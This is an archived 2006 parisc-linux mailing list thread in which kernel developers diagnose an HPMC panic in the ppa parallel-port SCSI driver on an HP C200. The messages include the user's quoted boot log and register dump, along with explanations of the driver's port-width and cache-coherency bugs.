	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18168-09; Thu, 25 May 2006 09:02:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E7237D6B3;
	Thu, 25 May 2006 09:02:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 436E97D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 09:02:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18168-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 09:02:24 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0E21E7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 09:02:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0EDDF298013;
	Thu, 25 May 2006 09:02:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07314-09; Thu, 25 May 2006 09:02:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E130029800A; Thu, 25 May 2006 09:02:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060525121929.DWFD5348.web2@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Nf9DDVBcQEVs4OjDZnVpU/RKNzg2NcKU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23698


1) Please _always_ keep the parisc-linux mailing list copied
   on kernel bug reports.

2) Please send email in "text/plain" format.
   I ignored everything you wrote in HTML.

3) Comments that follow are based on the Console output that you included.
   (Thanks - that's what I really needed)

> Backtrace:
>  [<10113644>] inb+0x60/0x7c
>  [<103a15ec>] ppa_init+0x144/0x258
>  [<103a3138>] __ppa_attach+0x1c0/0x340
>  [<102a5810>] parport_register_driver+0x84/0x124
>  [<10568950>] do_initcalls+0x58/0xf8
>  [<10103908>] init+0x44/0x158
>  [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24

You will have to disable SCSI_PPA driver from your config.
It might be easiest to manually remove the driver from
the initrd.img file and from the /lib/modules on the root disk.

I looked at ppa_init() and it looks quite broken for hppa.
The problem is stuff like this:
static int ppa_byte_in(unsigned short base, char *buffer, int len)

"base" needs to be u32 (unsigned int).
parisc-linux needs more than 16 bits to represent an IO port address.
This _could_ work if the parallel port were under PCI Bus 0 _and_
no other garbage is in the top 16 bits of the register.

hth,
grant

On Thu, May 25, 2006 at 09:19:29PM +0900, ?????? wrote:
> <style> p {margin-top:0px;margin-bottom:0px;} </style><table border=3D0 w=
idth=3D100% bgcolor=3D'' cellpadding=3D0 cellspacing=3D0 align=3Dcenter><tr=
><td valign=3Dtop style=3D'padding:8pt;'><font size=3D2><P>Hi,</P>
> <P>.</P>
> <P>Sorry for late cause of my long travel.</P>
> <P>I'm tring to upgrade&nbsp;a kernel&nbsp;to&nbsp;2-6-15&nbsp;using 2-6-=
8 &nbsp;on hppa machine.<BR>There is more log information on the attated fi=
le.</P>
> <P>&nbsp;</P>
> <P>Package : kernel-image-2.6.15</P>
> <P>Base kernel version : 2-6-8</P>
> <P>Addressing : 32bit kernel</P>
> <P>Problem : Boot error</P>
> <P>Console message :</P>
> <P>Kernel panic: not syncing : High priority machine check (HPMC)</P>
> <P>&nbsp;</P>
> <P>Here is the information about HP server.<BR>Machime:&nbsp;HP C200</P>
> <P>CPU:&nbsp;PA8200 (PCX-U+)</P>
> <P>Memory: 256MB</P>
> <P>&nbsp;</P>
> <P>Could you please give me some tips to boot ?</P>
> <P>.</P>
> <P>Warm regards,</P>
> <P>Son</P>
> <P><BR><BR><BR>&nbsp;</P>
> <BLOCKQUOTE style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: =
5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">---------[ ???? ???=
? ???? ]----------<BR><B>???? : </B>Re: kernel compile - HPMC error<BR><B>?=
??? : </B>2006/04/27 22:21<BR><B>?????? : </B>Grant Grundler &lt;grundler@p=
arisc-linux.org&gt;<BR><B>?????? : </B>?????? &lt;jyson@datatek.co.kr&gt;<B=
R><BR>
> <STYLE> p {margin-top:0px;margin-bottom:0px;} </STYLE>
>=20
> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"90%" align=3Dcenter borde=
r=3D0>
> <TBODY>
> <TR>
> <TD style=3D"PADDING-RIGHT: 8pt; PADDING-LEFT: 8pt; PADDING-BOTTOM: 8pt; =
PADDING-TOP: 8pt" vAlign=3Dtop><PRE><PRE>Hi,
> I found this in my spam folder...can you please resend this
> as "Plain Text" (no HTML).
>=20
> Secondly, some guidance on how to report parisc-linux kernel bugs=20
> is available here:
> 	http://www.parisc-linux.org/faq/kernelbug-howto.html
>=20
> thanks,
> grant
>=20
> On Fri, Apr 14, 2006 at 10:30:12PM +0900, ?????? wrote:
> &gt; &lt;style&gt; p {margin-top:0px;margin-bottom:0px;} &lt;/style&gt;&l=
t;table border=3D0 width=3D100% bgcolor=3D'' cellpadding=3D0
> cellspacing=3D0 align=3Dcenter&gt;&lt;tr&gt;&lt;td valign=3Dtop style=3D'=
padding:8pt;'&gt;&lt;font size=3D2&gt;&lt;P&gt; &lt;/P&gt;
> &gt; &lt;P&gt;Hi.&lt;/P&gt;
> &gt; &lt;P&gt;&amp;nbsp;&lt;/P&gt;
> &gt; &lt;P&gt;I'm tring to make a kernel booting on hppa-debian linux.&lt=
;/P&gt;
> &gt; &lt;P&gt;I need a vmlinux and It has to be modified for me.&lt;/P&gt;
> &gt; &lt;P&gt;&amp;nbsp;&lt;/P&gt;
> &gt; &lt;P&gt;finally, I gained&amp;nbsp;a vmlinux but It didn't know any=
 hard disk.&lt;/P&gt;
> &gt; &lt;P&gt;I opened the /proc/partitions file, but there were nothing.=
&lt;/P&gt;
> &gt; &lt;P&gt;&amp;nbsp;&lt;/P&gt;
> &gt; &lt;P&gt;somedays after, &lt;/P&gt;
> &gt; &lt;P&gt;I found my machine needs a GSCtoPCI/Dino PCI support option=
 in kernel configuration.&lt;/P&gt;
> &gt; &lt;P&gt;when It&amp;nbsp;was booting the vmlinux knew two hard disk=
=2E yes, I have a two hard disk.&lt;/P&gt;
> &gt; &lt;P&gt;but during boot HPMC error accurred.&lt;/P&gt;
> &gt; &lt;P&gt;&amp;nbsp;&lt;/P&gt;
> &gt; &lt;P&gt;I think they are some mismatch each other between H/W and S=
/W or S/W and S/W or their version. my cpu is PA8200
> (PCX-U+)&lt;/P&gt;
> &gt; &lt;P&gt;How I can check them???&lt;/P&gt;&lt;/font&gt;&lt;/td&gt;&l=
t;/tr&gt;&lt;/table&gt;
> &gt;=20
> </PRE></PRE></FONT></TD></TR></TBODY></TABLE></BLOCKQUOTE></font></td></t=
r></table>

> =00
>=20
>=20
> Firmware Version  5.1
>=20
> Duplex Console IO Dependent Code (IODC) revision 1
>=20
> -------------------------------------------------------------------------=
-----
> =0D   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserv=
ed
> =0D----------------------------------------------------------------------=
--------
>=20
> =0D  Processor   Speed            State           Coprocessor State  I/D =
Cache=20
> =0D  ---------  --------   ---------------------  -----------------  ----=
---------
> =0D      0      200 MHz    Active                 Functional         512 =
KB/1 MB
>=20
> =0D  Central Bus Speed (in MHz) :        120
>=20
> =0D  Available memory (bytes)    : 268435456
> =0D  Good memory required (bytes):          0 (Not Set by OS)
> =0D  Primary boot path:    FWSCSI.6.0
> =0D  Alternate boot path:  0.0
> =0D  Console path:         0.0
> =0D  Keyboard path:        PS2
> =0D
> =0DCPU 0
> =0DWARNING:  Memory configuration is not optimized for performance. Refer
>           to the System Installation or Memory Installation manuals for=
=20
>           memory configuration guidelines.
> WARNING:  Memory SIMMs are not installed in the proper sequence. Refer
>           to the System Installation or Memory Installation manuals for
>           memory configuration guidelines.
>=20
>=20
> =0DSearching for device(s) with bootable media...
> =0DThis may take several minutes.
>=20
> =0DTo discontinue search, press any key (termination may not be immediate=
).
>=20
>=20
> =0D   Path Number        Device Path              Device Type and Utiliti=
es
> =0D   -----------        -----------------        -----------------------=
--
> =0D   P0                 FWSCSI.6.0               SEAGATE ST34572WS      =
=20
> =0D                                               IPL
> =0D   P1                 FWSCSI.5.0               SEAGATE ST19171W       =
=20
> =0D                                               IPL
>=20
>=20
> =0D
> =0DEnter Path Number or Device Path to continue boot sequence.  Enter NO =
to go
> =0Dto main menu.
> =0D> sea
> =0D
> =0DERROR:  Bad argument(s)
> =0D
> =0D
> =0DEnter Path Number or Device Path to continue boot sequence.  Enter NO =
to go
> =0Dto main menu.
> =0D> no
>=20
> =0D------- Main Menu ----------------------------------------------------=
---------
>=20
> =0D        Command                         Description
> =0D        -------                         -----------
> =0D        BOot [PRI|ALT|<path>]           Boot from specified path
> =0D        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
> =0D        SEArch [DIsplay|IPL] [<path>]   Search for boot devices
>=20
> =0D        COnfiguration [<command>]       Access Configuration menu/comm=
ands
> =0D        INformation [<command>]         Access Information menu/comman=
ds
> =0D        SERvice [<command>]             Access Service menu/commands
>=20
> =0D        DIsplay                         Redisplay the current menu
> =0D        HElp [<menu>|<command>]         Display help for menu or comma=
nd
> =0D        RESET                           Restart the system
> =0D-------
> =0DMain Menu: Enter command > sea
>=20
> =0DSearching for potential boot device(s)...
> =0DThis may take several minutes.
>=20
> =0DTo discontinue search, press any key (termination may not be immediate=
).
>=20
>=20
> =0D   Path Number        Device Path              Device Type
> =0D   -----------        -----------------        -----------
> =0D   P0                 SESCSI.2.0               SONY    CD-ROM CDU-76S =
=20
> =0D   P1                 FWSCSI.6.0               SEAGATE ST34572WS      =
=20
> =0D   P2                 FWSCSI.5.0               SEAGATE ST19171W       =
=20
>=20
>=20
> =0DMain Menu: Enter command > bo p2
> =0DInteract with IPL (Y, N, Q)?> y
> =0D
> Booting...=20
> Boot IO Dependent Code (IODC) revision 1
>=20
>=20
> HARD Booted.
> palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004
> =0DSkipping extended partition 6 - beyond reach of IPL
> =0D
> =0DPartition Start(MB) End(MB) Id Type
> =0D=0D1               1      31   f0 Palo
> =0D=0D2              32     156   83 ext2
> =0D=0D5             157    5404   83 ext2
> =0D
> =0DPALO(F0) partition contains:
> =0D    0/vmlinux32 4973737 bytes @ 0x48000
>=20
> =0DInformation: No console specified on kernel command line. This is norm=
al.
> =0DPALO will choose the console currently used by firmware (serial).Curre=
nt command line:
> =0D2/vmlinux root=3D/dev/sda5 initrd=3D2/initrd.img HOME=3D/ console=3Dtt=
yS0 TERM=3Dvt102
> =0D 0: 2/vmlinux
> =0D 1: root=3D/dev/sda5
> =0D 2: initrd=3D2/initrd.img
> =0D 3: HOME=3D/
> =0D 4: console=3DttyS0
> =0D 5: TERM=3Dvt102
>=20
> =0D<#>    edit the numbered field
> =0D'b'    boot with this command line
> =0D'r'    restore command line
> =0D'l'    list dir
> =0D? 0
> =0D2/vmlinux_0405_4
> =0DCurrent command line:
> =0D2/vmlinux_0405_4 root=3D/dev/sda5 initrd=3D2/initrd.img HOME=3D/ conso=
le=3DttyS0 TERM=3Dvt102
> =0D 0: 2/vmlinux_0405_4
> =0D 1: root=3D/dev/sda5
> =0D 2: initrd=3D2/initrd.img
> =0D 3: HOME=3D/
> =0D 4: console=3DttyS0
> =0D 5: TERM=3Dvt102
>=20
> =0D<#>    edit the numbered field
> =0D'b'    boot with this command line
> =0D'r'    restore command line
> =0D'l'    list dir
> =0D? 0=08 =08b
>=20
> =0DCommand line for kernel: 'root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TE=
RM=3Dvt102 palo_kernel=3D2/vmlinux_0405_4'
> =0DSelected kernel: /vmlinux_0405_4 from partition 2
> =0DSelected ramdisk: /initrd.img from partition 2
> =0DELF32 executable
> =0DEntry 00100000 first 00100000 n 2
> =0DSegment 0 load 00100000 size 3823404 mediaptr 0x1000
> =0DSegment 1 load 004a6000 size 1151110 mediaptr 0x3a7000
> =0DLoading ramdisk 4972544 bytes @ 0fb30000...
> =0DBranching to kernel entry point 0x00100000.  If this is the last
> =0Dmessage you see, you may need to switch your console.  This is
> =0Da common symptom -- search the FAQ and mailing list at parisc-linux.org
>=20
> =0DLinux version 2.6.15.4 (root@datatek) (gcc version 3.3.5 (Debian 1:3.3=
=2E5-13)) #14 Sat Mar 6 12:46:17 KST 2027
> FP[0] enabled: Rev 0 Model 14
> The 32-bit Kernel has started...
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 000059d0 00000481 00000000 00000002 77647a2b 100000f0 00000008 0000=
00b2 000000b2
> vers  00000501
> CPUID vers 14 rev 23 (0x000001d7)
> capabilities 0x2
> model 9000/782/C200+
> Total Memory: 256 MB
> initrd: 1fb30000-1ffee000
> initrd: reserving 0fb30000-0ffee000 (mem_max 10000000)
> LED display at f0190001 registered
> Built 1 zonelists
> Kernel command line: root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TERM=3Dvt1=
02 palo_kernel=3D2/vmlinux_0405_4
> PID hash table entries: 2048 (order: 11, 32768 bytes)
> Console: colour dummy device 160x64
> Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
> Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
> Memory: 262144k available
> Mount-cache hash table entries: 512
> checking if image is initramfs...it isn't (bad gzip magic numbers); looks=
 like an initrd
> NET: Registered protocol family 16
> EISA bus registered
> Searching for devices...
> Found devices:
> 1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
> 2. Dino PCI Bridge at 0xf2000000 [8/0] { 13, 0x3, 0x680, 0x0000a },  addi=
tional addresses: 0xf2800000=20
> 3. Raven U/L2 Dino RS-232 at 0xf2003000 [8/0/63] { 10, 0x0, 0x006, 0x0008=
c }
> 4. Raven+ w SE FWSCSI Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x056, 0x00=
081 },  additional addresses: 0xffd0c000 0xffc00000=20
> 5. Raven+ w SE FWSCSI Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x056=
, 0x0008c }
> 6. Raven+ w SE FWSCSI Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x056, =
0x00082 }
> 7. Raven+ w SE FWSCSI Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0=
x056, 0x00074 },  additional addresses: 0xffd01000 0xffd03000=20
> 8. Raven+ w SE FWSCSI Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x056,=
 0x0007b }
> 9. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x=
056, 0x00084 }
> 10. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0=
x056, 0x00084 }
> 11. U2-IOA BC GSC+ Port at 0xf203f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
> 12. Raven U/L2 Dino PS/2 Port at 0xf2001000 [8/1] { 10, 0x0, 0x006, 0x000=
96 }
> 13. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
> 14. Coral SGC Graphics at 0xf6000000 [10/12] { 10, 0x0, 0x004, 0x00077 }
> 15. U2-IOA BC GSC+ Port at 0xf103f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
> 16. Cujo PCI Bridge at 0xf1000000 [10/0] { 13, 0x1, 0x682, 0x0000a }
> 17. Dino RS-232 at 0xf1003000 [10/3] { 10, 0x0, 0x007, 0x0008c }
> 18. Raven U 200 (9000/780/C200) at 0xfffa0000 [32] { 0, 0x0, 0x59d, 0x000=
04 }
> 19. Memory at 0xfffb1000 [49] { 1, 0x0, 0x05d, 0x00009 }
> CPU(s): 1 x PA8200 (PCX-U+) at 200.000000 MHz
> Setting cache flush threshold to 2c0 (1 CPUs online)
> Found U2 at 0xfff88000
> Found U2 at 0xfff8a000
> Lasi version 0 at 0xffd00000 found.
> Dino version 3.1 found at 0xf2000000
> Cujo version 2.0 found at 0xf1000000
> Enabling Cujo 2.0 bug workaround
> Cujo: No PCI devices enabled.
> SCSI subsystem initialized
> unwind_init: start =3D 0x104a7af0, end =3D 0x104d86f0, entries =3D 12480
> NTFS driver 2.1.25 [Flags: R/O].
> JFS: nTxBlock =3D 1946, nTxLock =3D 15569
> io scheduler noop registered
> io scheduler deadline registered
> PDC Stable Storage facility v0.09
> Soft power switch enabled, polling @ 0xf0140000.
> STI GSC/PCI core graphics driver Version 0.9a
>     id 2d08c0a7-9a02587, conforms to spec rev. 8.07
>     graphics card name: HPA4450AX1280
> sticon: Initializing STI text console.
> Console: switching to colour STI console 160x64
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, HPA4450AX1280, id: 2d08c0a7, =
mmio: 0xf6100000
> tipar: parallel link cable driver, version 1.19
> Generic RTC Driver v1.07
> ppdev: user-space parallel port driver
> parkbd: no such parport
> serio: GSC PS/2 keyboard port at 0xffd08000 irq 20 @ 8:16:7
> serio: GSC PS/2 mouse port at 0xffd08100 irq 20 @ 8:16:8
> HP SDC: No SDC found.
> HP SDC MLC: Registering the System Domain Controller's HIL MLC.
> HP SDC MLC: Request for raw HIL ISR hook denied
> Serial: 8250/16550 driver $Revision: 1.90 $ 16 ports, IRQ sharing enabled
> 8:16:4: ttyS0 at MMIO 0xffd05800 (irq =3D 16) is a 16550A
> 8:0:63: ttyS1 at MMIO 0xf2003800 (irq =3D 21) is a 16550A
> =0Dparport_init_chip: initialize bidirectional-mode.
> =0Dparport0: PC-style at 0xffd02800, irq 18 [PCSPP,TRISTATE]
> =0Dtipar0: using parport0 (interrupt-driven)
> =0Dtipar0: link cable not found
> =0DRAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
> =0Dloop: loaded (max 8 devices)
> =0DCompaq SMART2 Driver (v 2.6.0)
> =0DHP CISS Driver (v 2.6.8)
> =0DUniform Multi-Platform E-IDE driver Revision: 7.00alpha2
> =0Dide: Assuming 33MHz system bus speed for PIO modes; override with ideb=
us=3Dxx
> =0DLoading Adaptec I2O RAID: Version 2.4 Build 5go
> =0DDetecting Adaptec I2O RAID controllers...
> =0DAdaptec aacraid driver (1.1-4 Mar  6 2027 12:26:05)
> =0Dsym0: <875> rev 0x4 at pci 0000:00:13.0 irq 22
> =0Dsym0: No NVRAM, ID 7, Fast-20, SE, parity checking
> =0Dsym0: SCSI BUS has been reset.
> =0Dscsi0 : sym-2.2.1
> =0D  Vendor: SEAGATE   Model: ST19171W          Rev: HP08
> =0D  Type:   Direct-Access                      ANSI SCSI revision: 02
> =0D target0:0:5: tagged command queuing enabled, command queue depth 16.
> =0D target0:0:5: Beginning Domain Validation
> =0D target0:0:5: asynchronous.
> =0D target0:0:5: wide asynchronous.
> =0D target0:0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
> =0D target0:0:5: Domain Validation skipping write tests
> =0D target0:0:5: Ending Domain Validation
> =0D  Vendor: SEAGATE   Model: ST34572WS         Rev: HP00
> =0D  Type:   Direct-Access                      ANSI SCSI revision: 02
> =0D target0:0:6: tagged command queuing enabled, command queue depth 16.
> =0D target0:0:6: Beginning Domain Validation
> =0D target0:0:6: asynchronous.
> =0D target0:0:6: wide asynchronous.
> =0D target0:0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
> =0D target0:0:6: Domain Validation skipping write tests
> =0D target0:0:6: Ending Domain Validation
> =0Dmegaraid cmm: 2.20.2.6 (Release Date: Mon Mar 7 00:01:03 EST 2005)
> =0Dmegaraid: 2.20.4.6 (Release Date: Mon Mar 07 12:27:22 EST 2005)
> =0Dmegasas: 00.00.02.00-rc4 Fri Sep 16 12:37:08 EDT 2005
> =0D3ware Storage Controller device driver for Linux v1.26.02.001.
> =0D3ware 9000 Storage Controller device driver for Linux v2.26.02.004.
> =0Dppa: Version 2.07 (for Linux 2.4.x)
> =0D
>=20
> Backtrace:
> =0D [<10113644>] inb+0x60/0x7c
> =0D [<103a15ec>] ppa_init+0x144/0x258
> =0D [<103a3138>] __ppa_attach+0x1c0/0x340
> =0D [<102a5810>] parport_register_driver+0x84/0x124
> =0D [<10568950>] do_initcalls+0x58/0xf8
> =0D [<10103908>] init+0x44/0x158
> =0D [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24
>=20
>=20
> =0DHigh Priority Machine Check (HPMC): Code=3D1 regs=3D104e3080 (Addr=3D0=
0000000)
>=20
> =0D     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> =0DPSW: 00000000000001000000000000001100 Not tainted
> =0Dr00-03  00000000 105ce010 10113644 1f2df840
> =0Dr04-07  00002801 00000002 00002802 00000008
> =0Dr08-11  00002800 ffffffff 105ce8c8 104f0ad8
> =0Dr12-15  3b9aca00 105ce810 104f1010 f0100000
> =0Dr16-19  f000167c f00001f8 f00001f0 f200006d
> =0Dr20-23  0000000e 0000000f 10258c38 00000000
> =0Dr24-27  0000000e 00000001 1f5d2c00 104d9010
> =0Dr28-31  00000020 000000c8 1fb042c0 10113644
> =0Dsr0-3   00000000 00000000 00000000 00000000
> =0Dsr4-7   00000000 00000000 00000000 00000000
>=20
> =0D      VZOUICununcqcqcqcqcqcrmunTDVZOUI
> =0DFPSR: 00000100000011100000000000000000
> =0DFPER1: 24850e03
> =0Dfr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr08-11  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr12-15  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr16-19  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr20-23  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr24-27  0000000000000000 0000000000000000 0000000000000000 0000000000=
000000
> =0Dfr28
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPMC in ppa_init()
Date: Thu, 25 May 2006 08:33:05 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1148571185.8070.4.camel@mulgrave.il.steeleye.com>
References: <20060525121929.DWFD5348.web2@localhost.localdomain>
	<20060525150250.GA6616@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624093 19696 80.91.229.3 (22 Nov 2014 02:41:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:33 +0000 (UTC)
Cc: kyjung@datatek.co.kr,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 ?????? <jyson@datatek.co.kr>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2006 15:33:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 25 May 2006 17:33:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AD427D6CF;
	Thu, 25 May 2006 09:33:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18867-02; Thu, 25 May 2006 09:33:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EDC27D6B7;
	Thu, 25 May 2006 09:33:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65A787D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 09:33:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18572-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 09:33:08 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 3F5C77D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 09:33:08 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k4PFX3a13892; Thu, 25 May 2006 11:33:03 -0400
In-Reply-To: <20060525150250.GA6616@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DLRALHJxZDI47rHGdWY2pX9xemhmY0E1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23699

On Thu, 2006-05-25 at 09:02 -0600, Grant Grundler wrote:
> You will have to disable SCSI_PPA driver from your config.
> It might be easiest to manually remove the driver from
> the initrd.img file and from the /lib/modules on the root disk.
> 
> I looked at ppa_init() and it looks quite broken for hppa.
> The problem is stuff like this:
> static int ppa_byte_in(unsigned short base, char *buffer, int len)

> "base" needs to be u32 (unsigned int).
> parisc-linux needs more than 16 bits to represent an IO port address.
> This _could_ work if the parallel port were under PCI Bus 0 _and_
> no other garbage is in the top 16 bits of the register.

It's not just this.  ppa and imm are pretty broken even on x86:   they
don't use kmap to access the pio data, so they only work in memory from
ZONE_NORMAL ... this probably doesn't affect parisc since we don't have
a ZONE_HIGHMEM, however any READ_ command will go into the kernel's view
of the memory without cache flushing, so it's probable we'd get nasty
cache coherency issues.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
